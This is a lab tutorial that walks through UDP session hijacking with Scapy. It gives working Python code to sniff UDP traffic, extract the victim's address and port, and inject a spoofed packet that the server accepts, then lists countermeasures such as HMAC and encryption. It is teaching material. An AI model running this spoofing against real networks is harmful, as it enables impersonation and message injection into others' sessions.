UDP Session Hijacking Using Scapy

Objective

To demonstrate UDP session hijacking using Scapy in a controlled lab environment.

Prerequisites

- Linux machine (preferably Kali Linux) with Scapy installed.
- Two test machines in the same network:
  - Victim (sending UDP packets)
  - Server (receiving UDP packets)
- Basic knowledge of Python and networking.

Step 1: Install Scapy

Ensure Scapy is installed:

```
pip install scapy
```

If using Kali Linux, Scapy is pre-installed.

Step 2: Set Up UDP Communication

On the Victim Machine:

```
import socket

victim_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_ip = "192.168.1.10"
server_port = 9999

while True:
    message = input("Enter message: ")
    victim_socket.sendto(message.encode(), (server_ip, server_port))
```

On the Server Machine:

```
import socket

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 9999))

print("[*] UDP Server is listening...")

while True:
    data, addr = server_socket.recvfrom(1024)
    print(f"Received from {addr}: {data.decode()}")
```

Expected Output on Server:

---

[*] UDP Server is listening...
Received from ('192.168.1.5', 50555): Hello, Server!
Received from ('192.168.1.5', 50555): Test UDP session.

Step 3: Sniff UDP Packets

On the attacker's machine, run:

```
from scapy.all import sniff

def packet_callback(packet):
    if packet.haslayer("UDP"):
        print(f"Captured UDP Packet: {packet.summary()}")

sniff(filter="udp", prn=packet_callback, store=0)
```

Expected Output:

Captured UDP Packet: IP src=192.168.1.5 dst=192.168.1.10 UDP sport=50555 dport=9999

Step 4: Extract UDP Session Details

Modify the sniffing script to extract session details:

```
from scapy.all import sniff, IP, UDP

def udp_sniffer(packet):
    if packet.haslayer(UDP):
        print(f"Victim IP: {packet[IP].src}, Victim Port: {packet[UDP].sport}")
        print(f"Server IP: {packet[IP].dst}, Server Port: {packet[UDP].dport}")

sniff(filter="udp", prn=udp_sniffer, store=0)
```

Expected Output:

Victim IP: 192.168.1.5, Victim Port: 50555
Server IP: 192.168.1.10, Server Port: 9999

Step 5: Inject a Spoofed UDP Packet

Run the script below to inject a spoofed UDP packet:

```
from scapy.all import IP, UDP, send

victim_ip = "192.168.1.5"
```

```
server_ip = "192.168.1.10"
victim_port = 50555
server_port = 9999

spoofed_packet = IP(src=victim_ip, dst=server_ip) / UDP(sport=victim_port, dport=server_port) / "Hacked Message!"
send(spoofed_packet)

print("[+] Spoofed UDP packet sent!")
```

Expected Output:

```
----------
[+] Spoofed UDP packet sent!
```

Step 6: Verify the Attack

On the server machine, check if the spoofed message appears:

```
----------
[*] UDP Server is listening...
Received from ('192.168.1.5', 50555): Hello, Server!
Received from ('192.168.1.5', 50555): Test UDP session.
Received from ('192.168.1.5', 50555): Hacked Message!
```

Step 7: Countermeasures

To prevent UDP session hijacking:

- Use encrypted communication (TLS/SSL over UDP).
- Apply firewall rules to detect anomalous traffic.
- Deploy IDS/IPS systems to detect spoofed packets.
- Use authentication mechanisms (e.g., HMAC signatures in UDP packets).

Conclusion

This lab demonstrated how an attacker can hijack a UDP session using Scapy. Since UDP is connectionless and does not verify senders, it is vulnerable to spoofing attacks.